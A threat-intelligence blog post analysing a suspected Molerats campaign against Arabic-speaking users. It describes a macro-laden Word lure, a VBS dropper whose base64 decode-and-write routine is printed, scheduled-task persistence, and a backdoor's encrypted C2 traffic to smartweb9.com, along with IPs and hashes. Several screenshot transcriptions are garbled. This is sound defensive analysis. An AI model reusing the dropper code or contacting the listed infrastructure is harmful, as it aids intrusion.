ti.360.net/blog/articles/suspected-molerats-new-attack-in-the-middle-east-en

Suspected Molerats' New Attack in the Middle East

2019-02-14 By 360威胁情报中心 | 事件追踪

### Background

Recently, 360 Threat Intelligence Center captured a bait document designed specifically for Arabic users. It is an Office Word document with malicious macros embedded to drop and execute a backdoor packed by Enigma Virtual Box. The backdoor program has a built-in keyword list containing names of people or opera movies to communicate with C2, distributes control commands to further control the victim's computer device. After investigation, we suspect this attack is carried out by Molerats.

After sharing the relevant information through social channels[1], we found that the C2 domain was resolved to a server no longer controlled by the attacker just within a few days to avoid more attacks.

### Activity Records of Molerats

The activity of Molerats (alias[2]: Gaza Hackers Team, Gaza cybergang, Operation Molerats, Extreme Jackal, Moonlight) could be traced back to early 2012. In January 2012, attackers who identified themselves as the "Gaza Hackers Team" struck the website of the Israel Fire and Rescue services[3]. The same year in October, a suspicious file was found to have been circulating on Israeli police department computers and hence decided to take all its computers offline temporarily[4]. The follow up analysis report from Trend Micro[5] pointed out that the malware being used in the attack was Xtreme RAT which could be used to steal information and receive commands from a remote attacker. They also discovered that Xtreme RAT variants had been used to target many other National government agencies[6], such as those in the United States, United Kingdom, Turkey, New Zealand and etc.

FireEYE reviewed the attack on Israeli police department in a report[7] released in 2013, associated this event to Gaza Hackers Team and named this group as Molerats. Besides that, some other malware such as Poison Ivy used by this attack group also got revealed. In another report[8] released in 2014, FireEYE said "Molerats are not only aware of security researchers' efforts in trying to track them but are also attempting to avoid using any obvious, repeating patterns that could be used to more easily track endpoints infected with their malware".

Molerats became particularly active in Q2 2015, Kaspersky collected lots of related IoCs and pointed out staffs in IT (Information Technology) and IR (Incident Response) departments were their preferred targets[9].

ClearSky first discovered the group's activities on Operation DustSky in January 2016. The target attack got suspended for more than half a month since the first report[10] got released. After that, their malware were rewritten in C++ and targets also got switched from before in

efforts to evade detection[11]. ClearSky also indicated that Molerats were not as cautious as before, leaving more clues, which in turn has led to conclude with fairly certainly that Hamas may have a hand behind this attack group.

In June 2017, 360 Threat Intelligence Center discovered new malware[12] used by Molerats. The malicious payload, which got delivered through CVE-2017-0199 exploit, was completely generated by using the popular standard attack framework Cobalt Strike. Kaspersky came up with an update of Molerats in late October and mentioned a possible related Android mobile malware in the report[13].

# Sample Analysis

| Dropper   | (Macros)                         |
|-----------|----------------------------------|
| File Name | 1.doc                            |
| MD5       | 063a50e5e4b4d17a23ac8c8b33501719 |
| Author    | Motb3A                           |

The captured bait document is an Office Word document written in Arabic with malicious VBA macros embedded. If macro get enabled, the malicious code is automatically executed when the victim opens the document.



The contents after translation are as follows.

| ≡ Google 翻译   |   |
|---|---|
| <ul><li>X 文字</li><li>▲ 文档</li></ul>   |   |
| 检测到网拉伯语 英语 中文 德语 ✓ ←  | ◆ 中文(简体) <u>英语</u> 日语 ✓   |
| <ul> <li>من المقرر أن يصل وقد من المقابرات المامة المصرية اليوم الصيبي الى لقطاع غزة .</li> <li>ويصل الوقد الى الفقاع حبر عبين عجائون "ايرز" فى زيارة تشتر حد صاحت.</li> <li>مثل التهاية والمصلحة عربت من المتوفي أن يقدر الوقد رولة تتصمن .</li> <li>1. فتح صدر رفع في كلا لابتلغان أن يقدر الوقد رولة تتصمن .</li> <li>1. فتح صدر رفع في كلا لابتلغان إن يقدر الوقد رولة تتصمن .</li> <li>1. فتح صدر رفع في كلا لابتلغان عزاد .</li> <li>2. استمرار أن قت معرر رفع أنها الموجي .</li> <li>3. استمرار أن قت معرر رفع أنها الموجي .</li> <li>3. استمرار أن قت معرر رفع أنفرا عن رفع رفع العزاد الموجي .</li> <li>4. الساح الحكون الافتاع مرا القرام با المرد الى مكة المكرمة .</li> <li>5. الساح بدرو وفود الفصائل الى المولات العاز جية.</li> <li>6. الساح بعرو وفود الفصائل الى المولات العاز جية.</li> <li>1. المندمة القطرية الجنيدة وك علي مراح من المراح على محكم المار علي .</li> <li>7. المعاح الحكان القذاع با المرد الى مكة المكرمة .</li> <li>7. المعاح المار أن على مراح على علي علي موجيع المعان الى المولات العاز جية.</li> <li>8. المعاح الحكان القذاع بالمرد الى محكم المار علي .</li> <li>8. المعاح الحكان القذاع بالمرد الى محكم المار العزية .</li> <li>9. الماحة القطرية الجنيدة وك علي مراح الى المولات العزية المرد الى المولات المار علي المرد الى شويه المرد المان المار المراح المان من المان المولات العزية والى شي مود والمان المان المولات العزية والمان المان المار المار المان المان المان المولات العزية والمان المان مان المان الممان ا</li></ul> | A delegation from the Egyptian General Intelligence Service is due to arrive in the Gaza Strip on Thursday. The delegation arrives at Beit Hanuon (Erez) crossing for a number of hours. The Egyptian delegation will meet with the leadership of Hamas and other factions to discuss the latest developments in the file of calm and reconciliation.<br>1 - Open a lift in both directions 3 days a week.<br>2. The opening of the Rafah commercial crossing.<br>3 - Provide a new power line for the Gaza Strip.<br>4 - Allow the residents of the sector to perform Umrah to Mecca.<br>5 - Allow the departure of factions delegations to external tours.<br>The new country grant is \$25 million<br>Hamas sources confirmed that the movement is ready to return |
| الاسر الولي مع السلير القطري.<br>min almqrr 'an yasil wafd min almukhabarat aleamat almisriat alyawm alkhamis 'iilaa<br>qitae ghaza . wayasilu alwafd 'iilaa alqitae eabr maebar bayt hanun "ayrz' fi ziarat<br>tastamiru edt saeatin.  | to calm in January in return for the Qatari grant of 25 million<br>dollars on the fifth of each month, and the field leaders will<br>escalate and that this decision was sent to the Israeli side with<br>the Qatari ambassador.  |

Since the macro is encrypted, we extract the relevant macro code as follows:



The macro code could drop out and execute the wmsetup.vbs script in the %userprofile% directory.



#### wmsetup.vbs

The VBS script decodes the data through Base64, and then save the decoded data to %temp%/ihelp.exe.

```
base64Decoded = decodeBase64(sapp)
writeBytes outFile, base64Decoded
private function decodeBase64(base64)
dim DM, EL
Set DM = CreateObject("Microsoft.XMLDOM")
Set EL = DM.createElement("tmp")
EL.DataType = "bin.base64"
EL.Text = base64
decodeBase64 = EL.NodeTypedValue
end function
private Sub writeBytes(file, bytes)
Dim binaryStream
Set binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = TypeBinary
binaryStream.Open
```

Finally set the scheduled task to start ihelp.exe:

| 名称   | 状态   | 触发器         |                   |               |                | 下次运行时间            | 上次运行时间            | 上次运行结果     |  |
|--|------|-------------|-------------------|---------------|----------------|-------------------|-------------------|------------|--|
| 🕒 ihelp  | 正在运行 | 在 2019/2/6  | 的 23:49 时 - 触发后   | , 无限期地每隔      | 00:01:00 重复一次。 | 2019/2/6 23:52:00 | 2019/2/6 23:51:00 | 这个任务的一个实例已 |  |
|  |      |             |                   |               |                |                   |                   |            |  |
| •  |      |             |                   |               |                |                   |                   | Þ          |  |
| 常规 触发器   | 操作 务 | 3件 设置       | 历史记录(已禁用)         |               |                |                   |                   |            |  |
| 创建任务时,必须指定任务启动时发生的操作。若要更改这些操作,使用"属性"命令打开任务属性页。 |      |             |                   |               |                |                   |                   |            |  |
| 操作   | 详细   | 暗息          |                   |               |                |                   |                   |            |  |
| 启动程序   | C:\  | Users\DAHHH | F~1\AppData\Local | ∖Temp\ihelp.e | xe             |                   |                   |            |  |

### Backdoor (Ihelp.exe)

| File Name | ihelp.exe                        |
|-----------|----------------------------------|
| MD5       | 46173adc26721fb54f6e1a1091a892d4 |
| Packer    | Enigma Virtual Box               |

The backdoor is packed by Enigma Virtual Box:

|     | Eile : ihelp.exe1                       |                   |                   | 🔎 н      |      |               |
|-----|---|-------------------|-------------------|----------|------|---------------|
|     | Entry Point : 0005F14C 00 <             | EP Section :      | IRqKSrd8          | B        | 1    |               |
| -9  | File Offset : 00000D4C                  | First Bytes :     | F2.EB.01.D8.F7    | 0        |      | Plug          |
| R   | Linker Info: 14.00                      | SubSystem :       | Windows GUI       | PE       | -    | Ω             |
| y   | File Size : 0025F800h < №               | Overlay :         | NO 00000000       | 0        | 22   | S.            |
| ein | Image is 32bit executable               | RES/OVL : 2       | <b>1/0%</b> 2017  | M        |      |               |
| 8   | Enigma Virtual Box - v6.70 - 7.80 (2017 | .07.13) free -    | 2010-2017 - ww    | Scan / t | 1.12 | Rip           |
| Ŵ   | Lamer Info - Help Hint - Unpack info    |                   | 16 ms.            |          | 30-7 | 04220030      |
|     | Org.Exe stub has TLS & IAT changed , i  | f files inside ar | e not packed - tr | V 💝      | 5.00 | <u>&gt;</u> > |

The corresponding C2 is encrypted and stored in the configuration blob. When get executed, the backdoor decrypts the blob to obtain the C2 address (smartweb9.com).

| -  |    |    |    |    |           |      |       |     |     |            |     |       |          |            |      |                | _  |
|----|----|----|----|----|-----------|------|-------|-----|-----|------------|-----|-------|----------|------------|------|----------------|----|
| 88 | A4 | 6A | 65 | 76 | 47        | AD   | 73    | 6D  | 61  | 72         | 74  | 77    | 65       | 62         | 39   | 垽jevG灩martwe   | b9 |
| 2E | 63 | бF | 6D | A3 | 4A        | 52   | óВ    | A1  | 2F  | A3         | 75  | 66    | 52       | 50         | A4   | .com Rk? fRP   | ?  |
| 71 | 4E | 78 | 70 | 00 | A4        | óВ   | 66    | 64  | 73  | ΑØ         | A4  | 57    | 6A       | 61         | 53   | qNxp. fds煸Wj   | aS |
| 01 | A3 | 57 | 6E | 46 | <b>B8</b> | 4F   | 4D    | 66  | 58  | 35         | 47  | 69    | 43       | 6D         | 4F   | £ nF窸MfX5GiC   | mC |
| 49 | 43 | 55 | 76 | 68 | 75        | бE   | 42    | 32  | 6C  | 57         | 51  | 3D    | 3D       | A3         | 73   | ICUvhunB21WQ== |    |
| 52 | 46 | CD | 27 | 10 | 66        | RAS  | + 2   | oto | has | rinn       | ing | fra   |          | l d z o    |      | 00740598       | хI |
| 65 | 86 | 74 | 66 | 65 | 66        | 1    |       | ata | DEE | , <b>.</b> |     | 11 0  |          | Iul e      |      | 00180351       |    |
| 81 | 64 | 11 | 7D | 00 | 00        | AS0  | II    | [   | sma | rtw        | eb9 |       | n£J.     | Rkį.       | ∕£u: | fRP)qNxp.)kfds |    |
| 76 | 88 | 69 | 88 | 63 | 00        | 100  | CODI  | , Ľ |     | L SE       | sta | ي الح | 1.00     | r<br>mildi |      |                | =  |
| 64 | 80 | 64 | 00 | 69 | 66        | 0141 | LCODI | •   | 溶脚  | 荠 濯        | 肖   | 官恨    | 片<br>(hp | 掰          |      |                |    |

The domain name has been resolved to IP address 198.54.117.244 which could be a sinkhole, but the attacker's server (79.124.60.40) was still online. So we were able to directly connect to the attacker's server and perform follow up investigations. According to the network traffic and related decompiled code, the backdoor uses the SFML library for network communication (a library for game development: https://github.com/SFML).

```
POST / HTTP/1.1
connection: close
content-length: 64
content-type: application/x-www-form-urlencoded
from: user@sfml-dev.org
host: smartweb9.com
user-agent: libsfml-network/2.x
```

Cv4SNp1RMKuxjJkS3CNPwhpkfOdJe1sSCliC/fmAAqbFAwve8GiH3xTWEegC4wKs

```
if ( v6 != -1 )
   {
     sub_1B3B915("user@sfml-dev.org"
     LOBYTE(v32) = \frac{1}{5}
     sub 1B3B95E("From");
     LOBYTE(v32) = 6;
     sub 1B3B9A7(&v31, &v30);
     j strlen 40429D 170(1, 0);
     LOBYTE(v32) = 3;
     j strlen 40429D 171(1, 0);
   }
I.
   sub 1B3BA82("User-Agent");
   LOBYTE(v32) = 7;
  v7 = sub 1B3BACB(&v25, &v31);
   LOBYTE(v32) = 3;
  v8 = -(v7 != 0);
  j strlen 40429D 172(1, 0);
   if (v8 != -1)
   Ł
     sub 1B3BB5D("libsfml-network/2.x"
     LOBYTE(v32) = 8;
     sub 1B3BBA6("User-Agent");
     LOBYTE(v32) = 9;
     sub 1B3BBEF(&v31, &v30);
     j strlen 40429D 173(1, 0);
     LOBYTE(v32) = 3;
     j strlen 40429D 174(1, 0);
   }
   sub 1B3BCCA("Host");
  LOBYTE(v32) = 10;
ł.
  v9 = sub 1B3BD13(&v25, &v31);
×.
  LOBYTE(v32) = 3;
   v10 = -(v9 != 0);
ł
     strlen 40429D 175(1, 0);
```

The backdoor constructs a formatted request through a built-in keyword table, with contents related to some names or opera movies. This approach looks similar to the one mentioned by Talos[14] previously.

| Jessie    | Lilliana | Jocelynn | Londyn    |
|-----------|----------|----------|-----------|
| Ari       | Paloma   | Carmen   | Cassandra |
| Zachariah | Randy    | Charlee  | Demi      |
| Annika    | Brice    | Alyssa   | Erik      |
| Ariel     | Juniper  | Moises   | Jeremy    |
| Hunter    | Jaydon   | Freya    | Regina    |
| Janelle   | Lillian  | Aniyah   | Kenia     |
| Estelle   | Mara     | Daisy    | Guadalupe |
|           |          |          |           |

Demetrius

The request data fall into sub-blocks, and some of the data are encoded by Base64 before appending to related keyword.

82 A6 4A 65 72 65 6D 79 A9 47 75 61 64 61 6C 75 | ..Jeremy.Guadalu 70 65 A4 45 72 69 6B A4 6B 41 3D 3D | pe.Erik.kA==

The entire block is encrypted and Base64 encoded again when all sub-blocks are ready, and finally sent to C2 via HTTP POST request.

| 0202618         55         1025h mPp           0202618         55         1025h mPp         1025h mPp           0202618         88EC         000 mPp, spp         1000 mPp           0202618         88EC         100 mPp, spp         1000 mPp           0202618         55         path add         1000 mPp           0202619         56         path add         1000 mPp           0202619         57         path add         1000 mPp           0202617         77.7         1000 mPp         1000 mPp         1000 mPp           0202617         77.7         1000 mPp         1000 mPp         1000 mPp           0202617         77.7         1000 mPp         1000 mPp         1000 mPp           0202617         77.4         0         1000 mPp         1000 mPp           0202617         77.4         0         1000 mPp         1000 mPp           0202617         77.4   | 1 | 76266F 01 |     | 8BFI |      |        | 1    | 10 V | edi,  | edi   |             |      |              |               |             |          |        |             |        |                                       |    | :8   | (FPU)     |       |              |        |              |       |      | <          | <      | <           | <      |
|---|---|-----------|-----|------|------|--------|------|------|-------|-------|-------------|------|--------------|---------------|-------------|----------|--------|-------------|--------|---------------------------------------|----|------|-----------|-------|--------------|--------|--------------|-------|------|------------|--------|-------------|--------|
| 02264 H       BBEE - DOF Physes       DOF Physes       BBEE - DOF Physes       BBEE - DOF Physes         02264 H       BBEE - DOF Physes       DOF Physes       BBEE - DOF Physes       BBEE - DOF Physes         02264 H       BBEE - DOF Physes       DOF Physes       BBEE - DOF Physes       BBEE - DOF Physes         02264 H       BBEE - DOF Physes       Physes       BBEE - DOF Physes       BBEE - DOF Physes         02264 H       BBEE - DOF Physes       Physes       BBEE - DOF Physes       BBEE - DOF Physes         02264 H       BBEE - DOF Physes       Physes       BBEE - DOF Physes       BBEE - DOF Physes         02264 H       BBEE - DOF Physes       DOF Physes       BBEE - DOF Physes       BBEE - DOF Physes         02264 H       BBEE - DOF Physes       BBEE - DOF Physes       BBEE - DOF Physes       BBEE - DOF Physes         02264 FE - FF FEFFF       BBEE - DOF Physes       BBEE - DOF Physes       BBEE - DOF Physes       BBEE - DOF Physes         02264 FE - FF FEFFF       BBEE - DOF Physes         02264 FE - FF FEFFF       BBEE - DOF Physes         02264 FE - FF FEFFFF       BBEE - DOF Physes <td></td> <td>76266F 03</td> <td></td> <td>55</td> <td></td> <td></td> <td></td> <td></td> <td>ebp</td> <td></td> <td>66</td> <td></td> <td>ASCI</td> <td>I "PC</td> <td>IST ,</td> <td>/ HT</td> <td>FP/1.</td> <td>.1\r</td> <td>\nca</td> <td>nnec</td> <td>tion:</td> <td>close</td>  |   | 76266F 03 |     | 55   |      |        |      |      | ebp   |       |             |      |              |               |             |          |        |             |        |                                       |    | 66   |           | ASCI  | I "PC        | IST ,  | / HT         | FP/1. | .1\r | \nca       | nnec   | tion:       | close  |
| 1/2026/10         400 CEP, 10(1)         100 CEP, 10(1)         100 CEP, 10(1)           0/2026/10         57         100 CEP, 10(1)         100 CEP, 10(1)         100 CEP, 10(1)           0/2026/10         57         100 CEP, 10(1)         100 CEP, 10(1)         100 CEP, 10(1)           0/2026/10         57         100 CEP, 10(1)         100 CEP, 10(1)         100 CEP, 10(1)           0/2026/10         57         100 CEP, 10(1)         10(1)         10(1)         10(1)           0/2026/10         57         10(1)         10(1)         10(1)         10(1)         10(1)           0/2026/10         10(1)         10(1)         10(1)         10(1)         10(1)         10(1)           0/2026/11         77 7         78         10(1)         10(1)         10(1)         10(1)         10(1)         10(1)           0/2026/12         787.5         10(1)   | 1 | 76266F 84 |     | 8BEU |      |        |      | 100  | ebp.  | esp   |             |      |              |               |             |          |        |             |        |                                       |    | 66   |           |       |              |        |              |       |      |            |        |             |        |
| 1000 mm   |   | 20200F 00 |     | 83EI | ; 16 |        |      | SUD. | esp.  | UXI   | 3           |      |              |               |             |          |        |             |        |                                       |    | 55   |           |       |              |        |              |       |      |            |        |             |        |
| 1/2007 FB         1/2007 FF   |   | 76200109  |     | 50   |      |        |      |      | 0.013 |       |             |      |              |               |             |          |        |             |        |                                       |    | 55   | 7CEBE8    | ASCI  | I "PC        | IST ,  | / HT         | FP/1. | .1\r | '\nca      | innect | tion:       | close  |
| 22376200 8150 8879277 200 1000 11 10 12 23 7.782687 008 ) いた2 32.782687 008 ) いた2 32.782687 00 100 10 152 32.580 00 000 00 00 10 152 32.580 00 000 00 00 10 152 32.580 00 000 00 00 10 152 32.580 00 000 00 00 10 152 32.580 00 000 00 00 10 152 32.580 00 000 00 00 10 152 32.580 00 000 00 00 10 152 32.580 00 000 00 00 10 152 32.580 00 000 00 00 10 152 32.580 00 000 00 00 10 152 32.580 00 000 00 00 10 152 32.580 00 00 00 00 10 152 32.580 00 00 00 00 00 10 152 32.580 00 00 00 00 00 10 152 32.580 00 00 00 00 00 10 152 32.580 00 00 00 00 00 10 152 32.580 00 00 00 00 00 00 00 10 152 32.580 00 00 00 00 00 00 00 00 00 10 152 35.580 00 00 00 00 00 00 00 00 00 00 00 00 0   | 1 | 76266568  |     | 99EI |      |        |      |      | odi   | odi   |             |      |              |               |             |          |        |             |        |                                       |    | 55   | 22F380    | ASCI  | I"0≤         | :A''   |              |       |      |            |        |             |        |
| 1/2026/171         75.76         100  | 1 | 76266F 8D |     | 813  | 1.16 | 78287  |      |      | duor  | d nt  | be de       |      | 762          | 87 BJi        | 81          | mc?      | 92 7   | 6262        | F20    |                                       |    |      | 221384    |       |              |        |              |       |      |            |        |             |        |
| 12326119         2930         22328270         Constrain ptr 4s: (bx7587/070) pedi<br>(bx768714)         Constrain ptr 4s: (bx7587/070) pedi<br>(bx768714)         Constrain ptr 4s: (bx7687/070) pedi<br>(bx768714)         Constrain ptr 4s: (bx768714)         Constrain ptr 4s: (bx768714) <thconstrain (bx768714)<="" 4s:="" ptr="" th=""> <thcon< td=""><td></td><td>76266F17</td><td></td><td>75</td><td>R</td><td>10201</td><td>- 1</td><td>inz</td><td>shor</td><td>t we</td><td>2 3</td><td>2.76</td><td>266F</td><td>Qh</td><td></td><td>,</td><td>_01.11</td><td>OLOL</td><td></td><td></td><td></td><td></td><td>22F36C</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></thcon<></thconstrain>  |   | 76266F17  |     | 75   | R    | 10201  | - 1  | inz  | shor  | t we  | 2 3         | 2.76 | 266F         | Qh            |             | ,        | _01.11 | OLOL        |        |                                       |    |      | 22F36C    |       |              |        |              |       |      |            |        |             |        |
| 72206717         F7: 73         F7:   |   | 76266F19  | ľ   | 3931 | 71   | 7 8287 | 6    | 200  | duor  | d nt  | tr d        | 5:[0 | ×762         | 8787          | <b>8</b> 1. | edi      |        |             |        |                                       |    |      |           |       |              |        |              |       |      |            |        |             |        |
| 7226721 FF35 4A720270 Units downord ptr ds:[CAP72877045]<br>62264672 FF35 4A720270 Units downord ptr ds:[CAP72877045]<br>62264673 0905 FF8 4B72675 000 FFFFFFF5 FF5 FF5 FF5 FF5 FF5 FF5 F   |   | 76266F1F  |     | 74   | 3    |        | - I  | ie s | hort  | ws2   | 2 32        | .762 | 66F9         | 4             |             |          |        |             |        |                                       |    | 76   |           | ws2_  | 32.se        | nd     |              |       |      |            |        |             |        |
| 72266272 FF15 38122276<br>7226672 FF15 38122276<br>3052 F8<br>3052 F8 |   | 76266F21  |     | FF3  | - 44 | 7 8287 | 6    | oust | dwo   | rd p  | otr -       |      | 0x76         | 2876          |             |          |        |             |        |                                       |    | F    | \$ 6623   | 32位   | <b>B</b> (FF | FFF    | FFF)         |       |      |            |        |             |        |
| 02266270<br>02262673         0935 F8<br>(mo) dword ptr ss:[cbp=0k3],eax         SS: [cbp=0k3],eax         SS: [cbp=0k3],eax           02266273         74 60         mo) dword ptr ss:[cbp=0k3],eax         SS: [cbp=0k3],eax         SS: [cbp=0k3],eax           02266274         77 4 60         mo) dword ptr ss:[cbp=0k4],edit         DS: R023 32/0         GFFFFFFF5)           02266274         PT FC         mo) dword ptr ss:[cbp=0k4],edit         ES         SS: R023 32/0         GFFFFFFF5)           02266274         PT FC         mo) dword ptr ss:[cbp=0k4],edit         ES         R003 32/0         GFFFFFFF5)           02266274         PT FC         mo) dword ptr ss:[cbp=0k4],edit         LastErr ERR0F_SUCCESS (00000000)           00000000         R000 43/0         FGL1         DS: R023 32/0         GFFFFFFF5)           000000000         R000 43/0         FGL1         DS: R023 32/0         GFFFFFFF5)           000000000         R000 43/0         FGL1         DS: R023 32/0         R000 400000           0007CEDB8 70 60 80 20 80 50 7/0         R000 43/0         FGL1         DS: R023 32/0         R0000000           0007CEDB8 70 60 80 20 80 60 80 80 60 80 76 74 20 66 56 74 20 76 65 77 20 76 77 20 76 77 20 76 77 20 76 77 20 76 77 20 76 77 20 76 77 20 76 77 20 76 77 20 76 77 20 76 77 20 76 77 20 76 77 20 76 77 20 76 77 20 76 77 76 77 20 76 77 20 76 77 20 76 77 77 76 70 70 76 70 76 70 76 70 76 70 76   |   | 76266F27  |     | FF15 | ; 48 | 12267  | 6    | :all | dwa   | rd p  |             |      |              |               |             |          |        |             |        |                                       | -6 | C.   | S 6618    | 32位   | RIFE         | FFF    | FF           |       |      |            |        |             |        |
| 26206732 30C7 cmp ess,edi<br>52006732 74 60 cmp ess,edi<br>550065 27 74 60 cmp ess,edi<br>550065 27 74 60 cmp ess,edi<br>550005 NULL<br>LastErr ERROB_SUCCESS (00000000)<br>10027500 (00075 cmp ess,edi<br>100227500 (00075 cmp ess   |   | 76266F2D  |     | 894  | F 8  |        |      | noν  | duor  | d pt  |             | s:[e | bp-Ø         | ×8],          | eax         |          |        |             |        |                                       |    | s    | \$ 6623   | 32位   | ØCFF         | FFFI   | FF           |       |      |            |        |             |        |
| 20206732 / 74 60 / C 2020 75 / C 2020 76 / C 2000 7   |   | 76266F3@  |     | 3BC  |      |        | 9    | mp   | eax,  | edi   |             |      |              |               |             |          |        |             |        |                                       |    | D    | S 0023    | 32倍   | Ø(FF         | FFF    | FF)          |       |      |            |        |             |        |
| 72226734 8970 FC 10000 NULL<br>edi=000008FA 1072 FC 10000 NULL<br>LastErr ERROR SUCCESS (00000 NULL<br>LastErr ERROR SUCCESS (00000 NULL<br>LastErr ERROR SUCCESS (00000 NULL<br>LastErr ERROR SUCCESS (00000 NULL<br>NULL 12) sonn 未自 ihelp.00417320<br>NUTCERS 10 43 67 64 77 40 76 65 74 45 67 74 45 67 74 20 76 77 420 66 55 76 74 20 76 77 420 66 55 76 74 20 76 77 420 66 57 420 66 77 420 66   |   | 76266F32  |     | 74 ( | 60   |        |      | je s | ihort | WS2   | 2_32        | .762 | 66F9         | 4             |             |          |        |             |        |                                       |    | F    | S 003B    | 32倚   | 7FFE         | F 8 8  | B(FFI        | F)    |      |            |        |             |        |
| edi=0000000FA   |   | 76266F34  |     | 8971 | ) FC |        |      | nov  | duor  | d pt  | tr s        | 5:[e | bp-Ø         | ×4]           | edi         |          |        |             |        |                                       | -  | G    | S 0000    | NULL  |              |        |              |       |      |            |        |             |        |
| 地球、数1/2         NULL  |   | edi=0000  | 88F | Ĥ    |      |        |      |      |       |       |             |      |              |               |             |          |        |             |        |                                       |    |      |           |       |              |        |              |       |      |            |        |             |        |
| NEX         NEX         SQLB         NEX         SQLB  |   |           |     |      |      |        |      |      |       |       |             |      |              |               |             |          |        |             |        |                                       |    | L    | astErr    | ERRO  | R_SOC        | CES    | S (Ø         | 8888  | 888) |            |        |             |        |
| Hex 分校語     Hex 分校語     How 分類 75 55 10 20 7 20 48 55 54 20 7 7 31 25 21 10 PT0 1 TV1TY/1.1     How 75 55 10 20 7 20 48 55 54 20 7 7 31 25 21 40 10 PT0 1 TV1TY/1.1     How 75 55 10 20 7 20 48 55 54 20 7 7 31 25 21 41 25 10 PT0 1 TV1TY/1.1     How 75 55 10 20 7 20 48 55 54 20 7 7 7 7 7 20 56 56 7 40 56 57 7 20 56 57 52     How 75 7 7 7 7 7 20 56 37 20 40 7 7 7 7 20 56 36 7 40 7 56 7 7 7 7 7 20 56 36 7 40 10 7 7 7 7 20 56 36 7 40 10 7 7 7 7 20 56 36 7 40 10 7 7 7 7 20 56 36 7 40 10 7 7 7 7 7 20 56 36 7 40 10 7 7 7 7 7 20 56 30 7 20 10 7 10 7 10 7 10 7 10 7 10 7 10   |   |           |     |      |      |        |      |      |       |       |             |      |              |               |             |          |        |             |        |                                       |    | 66   | 2 0 02 06 | (NO,  | NB,NE        | ,A,I   | NS,PI        | E,GE, | ,G)  |            |        |             |        |
| av7CEFER 6 0 4 7 53 54 20 27 20 48 53 54 54 50 27 31 72 31 20 51 00 [PDS1 / HTP/1.1. 01227384 0000150] Socket - 0xt60 307CEFER 76 05 37 66 27 66 56 74 20 66 59 12 63 37 66 74 67 66 7. connection.clo 01227384 0000150 DataSize - FA (250.) 0027 80 000000 Falses - 0000000 DataSize - FA (250.) 0027 80 000000 Falses - 0000000 DataSize - FA (250.) 0027 80 000000 Falses - 0000000 Falses - 00000000 Falses - 0000000 Falses - 00000000 Falses - 0000000 Falses - 00000000 Falses - 0000000 Falses - 00000000 Falses - 0000000 Falses - 0000000 Falses - 00000000 Falses - 0000000 Falses - 00000000 Falses - 000000000 Falses - 00000000 Falses - 00000000 Falses - 000000000 Falses - 000000000 Falses - 000000000 Falses - 000000000 Falses - 0000000000 Falses - 000000000 Falses - 0000000000000000000000000000000000  | 1 | 地址        | HE  | x 教  | 据    |        |      |      |       |       |             |      |              |               |             | ASI      | CII    |             |        |                                       |    | 002  | 2F380     | 8841  | 7336         | LCU    | LL 🗿         | l se  | nd   | 来自         | ihel   | р.004       | 1732B  |
| #07CEER#3 06 03 67 66 67 67 45 66 77 40 67 67 74 05 74 04 04 05 74 04 04  | 1 | 007CEBE8  | 5   | 1 4F | 53   | 54 28  | 1 2F | 20   | 48 5  | 4 54  | 150         | 2F   | 31 2         | E 31          | ßD          | )   PO:  | ST /   | HTTP        | /1.1.  | i i i i i i i i i i i i i i i i i i i |    | 662  | 2F384     | ទទទទ  | 6166         | So     | cket         | - 6   | x16  | 8          |        |             |        |
| ar7CECB8 73 65 00 00 63 67 67 74 72 05 67 74 20 66 50 65 71 87 20 72 87 82 73 87 82 74 20 75 77 82 75 77 20 75 77 82 75 77 82 75 77 72 75 74 75 75 75 75 75 75 75 75 75 75 75 75 75   |   | 007CEBF8  | ØF  | 63   | 6F   | 6E 6E  |      | 63   | 74 6  | 9 6F  | - 6E        | 38   | 20 6         | 3 60          | 6F          | ci       | onnec  | tion        | : clo  |                                       |    | 0.02 | 2F388     | 0070  | EBE8         | Da     | ta -         | 007   | CEB  | E <b>8</b> |        |             |        |
| a07CEC18 74 68 38 20 36 34 00 0m 63 67 66 74 65 66 74 20 [th: 64.content-00227900 0d010000 [Flags = 0.000000 flags]<br>a07CEC28 74 77 77 72 66 36 74 75 77 75 72 60 66 77 67 75 72 66 75 72 66 75 72 67 75 77 77 72 16 66 77 72 67 75 77 72 75 75 75 75 75 75 75 75 75 75 75 75 75  |   | 007CEC08  | 73  | 65   | ØD   | 8A 63  |      | 6E   | 74 6  | 5 6E  | 74          | 2D   | 6C 6         | 5 6E          | 67          | 7 se     | con    | tent        | -leng  |                                       |    | 882  | 2F38C     | 5555  | ØØFA         | Da     | taSi         | ze =  | FA   | (25)       | 9.)    |             |        |
| agrCECES 7 4 7 7 7 0 6 5 3 2 0 4 7 7 7 2 0 6 6 7 2 6 7 8 0 7 7 7 7 2 0 6 6 7 7 4 6 9 6 7 7 4 6 9 6 7 7 7 4 0 6 7 7 4 6 9 7 7 7 2 0 6 6 7 7 4 6 9 7 7 7 7 2 0 6 6 7 7 4 0 9 7 7 2 7 0 6 7 7 4 0 9 7 7 2 7 0 6 7 7 4 0 9 7 7 2 0 6 7 7 4 0 9 7 7 2 0 6 7 7 4 7 7 6 7 0 1 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 2 0 6 7 7 7 7 6 7 1 8 7 7 7 7 6 7 1 8 7 7 7 7 6 7 1 8 7 7 7 7 7 6 7 1 8 7 7 7 7 7 6 7 1 8 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7  |   | 007CEC18  | 71  | 68   | 3A   | 28 36  | 34   | ØD   | ØA 6  | 3 6F  | - 6E        | 74   | 65 6         | E 74          | 2D          | ) th     | : 64.  | .con        | tent-  |                                       |    | 002  | 2F390     | 0000  | 9999         | LF1    | ags          | = Ø   |      |            |        |             |        |
| a07CEE38 6 2 F 78 20 7 77 77 72 0 6 6 6 7 72 60 10 75 72 60 1 75 72 60 1 75 77 72 0 1 6 6 6 77 2 60 1 75 72 60 1 75 77 70 1 1 0022790 10227   |   | 007CEC28  | 71  | 79   | 70   | 65 3A  | 20   | 61   | 787   | 0 60  | C 69        | 63   | 61 7         | 4 69          | 6F          | ty       | pe: a  | ppli        | catio  |                                       |    | 882  | 2F394     | 8822  | F978         | ASC    | II "         | XKZ   |      |            |        |             |        |
